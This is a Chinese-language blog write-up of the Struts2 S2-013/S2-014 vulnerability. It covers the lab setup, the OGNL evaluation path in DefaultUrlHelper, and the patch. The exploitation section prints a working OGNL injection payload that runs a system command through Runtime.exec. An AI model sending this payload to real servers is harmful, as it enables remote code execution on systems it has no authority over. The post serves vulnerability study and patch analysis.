前言

经典 Java 软件漏洞 struts 系列,准备一个个看过去。

S2-013 和 S2-014 是同一个漏洞,014 是 013 的绕过,最后都在同一个版本修复了。


环境搭建

2.3.14.1 版本的 struts2 + Tomcat 9。

修改 jsp 文件,加上一句:

<s:url id="url" action="login" includeParams="all" />

漏洞利用

阅读漏洞通告,问题发生在 s:url/s:a 标签的 includeParams 属性,他们在根据这个属性处理 HTTP 参数的时候会进行表达式解析,payload 如下:

data=%25{#_memberAccess['allowStaticMethodAccess']=true,#context['xwork.MethodAccessor.denyMethodExecution']=false,@java.lang.Runtime@getRuntime().exec("calc")}

漏洞分析

看到 s:url 标签生成 URL 时会调用的 DefaultUrlHelper 类的 buildParametersString 方法:

Iterator iter = params.entrySet().iterator();

while(iter.hasNext()) {
    Entry<String, Object> entry = (Entry)iter.next();
    String name = (String)entry.getKey();
    Object value = entry.getValue();
    if (value instanceof Iterable) {
        ...
    } else if (value instanceof Object[]) {
        Object[] array = (Object[])((Object[])value);

        for(int i = 0; i < array.length; ++i) {
            Object paramValue = array[i];
            link.append(this.buildParameterSubstring(name, paramValue.toString()));
            if (i < array.length - 1) {
                   link.append(paramSeparator);
            }
        }
    } else {
        ...
    }

    if (iter.hasNext()) {
        link.append(paramSeparator);
    }
}

遍历了传递的参数,然后调用了 buildParameterSubstring 方法:

private String buildParameterSubstring(String name, String value) {
    StringBuilder builder = new StringBuilder();
    builder.append(translateAndEncode(name));
    builder.append('=');
    builder.append(translateAndEncode(value));
    return builder.toString();
}

public String translateAndEncode(String input) {
    String translatedInput = translateVariable(input);
    try {
        return URLEncoder.encode(translatedInput, encoding);
    } catch (UnsupportedEncodingException e) {
        if (LOG.isWarnEnabled()) {
            LOG.warn("Could not encode URL parameter '#0', returning value un-encoded", input);
        }
        return translatedInput;
    }
}

translateVariable 方法最后会来到之前看到过的 OgnlTextParser 方法的 evaluate 方法进行了解析。

漏洞修复

在 2.3.14.3 版本中,buildParameterSubstring 方法中去掉了表达式解析的部分,只剩下 URL 编码:

private String buildParameterSubstring(String name, String value) {
    StringBuilder builder = new StringBuilder();
    builder.append(encode(name));
    builder.append('=');
    builder.append(encode(value));
    return builder.toString();
}

public String encode( String input ) {
    try {
        return URLEncoder.encode(input, encoding);
    } catch (UnsupportedEncodingException e) {
        if (LOG.isWarnEnabled()) {
            LOG.warn("Could not encode URL parameter '#0', returning value un-encoded", input);
    }
        return input;
    }
}

Orz


Web Java Struts2

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

F5 BIG-IP 学习
struts2系列漏洞 S2-012